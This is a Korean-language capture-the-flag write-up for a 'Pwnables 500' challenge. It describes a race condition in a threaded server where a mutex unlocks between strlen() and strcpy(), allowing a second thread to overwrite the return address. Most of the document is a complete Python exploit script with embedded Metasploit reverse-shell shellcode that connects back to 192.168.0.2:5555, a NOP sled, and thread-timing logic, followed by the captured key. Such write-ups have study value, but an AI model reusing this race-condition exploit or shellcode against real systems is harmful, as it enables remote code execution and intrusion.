Pwnables 500 서버를 리버싱해 보면 pthread를 사용한 프로그램이라는 것을 알 수
있습니다. 또한 mutex lock을 통해 thread간의 resouce access를 control하고 있는데
취약점은 mutex lock 두 종류 중 첫번째 사용되는 lock이 strlen()과 strcpy() 사이에 
루프를 돌며(시간을 지연시키며) unlock 되는 부분입니다.

즉 thread 간의 lock에 문제가 생길경우 strlen()에서 사용한 resouce와 실제 
strcpy()에서 사용한 resouce는 다를 수가 있으므로 RET를 덮어쓸 수 있습니다.

(주의)
1) pwn500의 경우 timing condition에 매우 민감함
2) 서버에서 첫번째 thread가 strcpy전에 첫번째 mutex를 unlock하는 부분의 루프를
   여러번 돌게 되는데 이부분에서 첫번째 thread가 unlock하게 됨
3) 바로 첫번째 thread가 이 루프를 돌면서 시간을 버는 동안
   두번째 thread가 들어가서 strcpy의 src 부분(heap)을 변경해야 함
4) 하지만 timing 에 매우 민감해서 공격성공 확률이 그리 높지 못함

공격이 성공했음을, 즉 timing condition이 맞아 떨어졌다는것을 client에서 알수있는 방법은

=============================================
1. doFirst send
2. doSecond send
3. doSecond recv ==> must be consists of ascii characters
4. doFirst recv ==> must be 0 bytes !
         ( 서버에선 첫번째 thread에 대해 send까지 못가고
        strcpy를 하는 func에서 RET가 덮어씌워졌으므로)
=============================================

와 같은 순서로 operation이 이루어지면 timing condition이 맞추여 졌다는 것을 확인할 수 
있습니다. 이를 위해 작성된 코드 expPwn500.py는 다음과 같습니다.

===========================================================================
$ cat pw500.py
#! /usr/local/bin/python

import struct
import socket
import time
import thread

host = "quals07.allyourboxarebelongto.us"
port = 12345

# Connect back to 192.168.0.2
#/* bsdi_ia32_reverse -  LHOST=192.168.0.2 LPORT=5555 Size=104 Encoder=PexFnstenvSub http://metasploit.com */
scode = "\x33\xc9\x83\xe9\xec\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x3e"
scode += "\xe2\xa7\xc7\x83\xeb\xfc\xe2\xf4\xb7\x07\xcf\xc7\x39\xe2\x64\x7f"
scode += "\xa4\xe2\xa7\xc7\xa7\xb2\x2e\x21\x6c\xa0\xf5\x85\x6c\x88\xc6\x9f"
scode += "\xc1\x34\x30\xaf\xfe\x4a\xa7\xc5\x56\xf2\xa5\xd2\x8d\x6b\x44\xad"
scode += "\x2e\xb1\xf0\xad\x5c\xba\x58\x11\x8e\xb8\xf5\x90\xc1\x34\xed\xbe"
scode += "\xc9\xb2\xcf\xe8\x11\x91\xcf\xaf\x11\x80\xce\xa9\xb7\x01\xf7\x93"
scode += "\x6d\x52\x9c\x38\xe8\xe2\xa7\xc7"

def doFirst( sfdSub):
    buf = "a"*0x1f0 + "\x00\x00\x00\x00"
    buf += "a" * (0x500-len(buf))

    # 첫번째 thread의 buffer는 0x1f3을 안넘어서
    # strcpy전의 strlen() check 를 넘어야 한다.
    nBytes = sfdSub.send(buf) # make sure str doesn't exceed 0x1f3
    print "doFirst send : [%x] bytes" % nBytes

    output = sfdSub.recv(100)
    print "doFirst recv len: [%x]bytes (1)" % len(output)
    #print "doFirst recv [%s]bytes" % output
    return

def doSecond( sfdSub):
    BUF_BASE = 0x0804C600
    retAddr = BUF_BASE + 0x260 # retAddr 은 heap을 이용하므로 static address이다
    print "use retAddr : [0x%08x] " % retAddr # retAddr must not have '\x00' byte

    '''
    second buffer Layout
    b * 0x20 bytes :: second thread에 대한 recv에서 성공, 실패 여부를 알기위해 ascii를 줌
    retAddr 0x1F0 bytes :: overwrite RET
    '''

    buf = "b" * 0x20
    buf += struct.pack( "<I", retAddr) * ((0x210-0x20)/4) # OVERWRITE RET
    buf += "\x00" * 4 # 여기 이후는 strcpy 하지 않음
    buf += "\x90" * 0x100 + scode # NOP + shellcode
    buf += "\x00" * (0x500 - len(buf))

    nBytes = sfdSub.send( buf)
    print "doSecond send : [%x] bytes" % nBytes

    output = sfdSub.recv(100)
    print "doSecond recv : [0x%x][%s]" % (len(output), output)
    return

def connect( portNum, i):
    print "(connect) i : [%d], portNum : [0x%x] [%d]" % ( i, portNum, portNum)
    sfdSub = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sfdSub.connect( (host, portNum))

    if i==0:
        doFirst( sfdSub)
    elif i==1:
        doSecond( sfdSub)
    sfdSub.close()

    return

def doAttack():
    sfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sfd.connect( (host, port))

    output = sfd.recv(100)
    portNum = int(output[:4],16)
    print "portNum : [0x%x] [%d]" % (portNum, portNum)
    time.sleep(0.3)

    # thread 두개를 연속적으로 생성해 각각 주어진 port로 접속
    thread.start_new_thread( connect, (portNum, 0))
    thread.start_new_thread( connect, (portNum, 1))

    time.sleep(5)
    sfd.close()

if __name__ == "__main__":
    doAttack()
    time.sleep(10)

------------------------------------------------------------------------


Potent Pwnables500 key: jerry was a racecar driver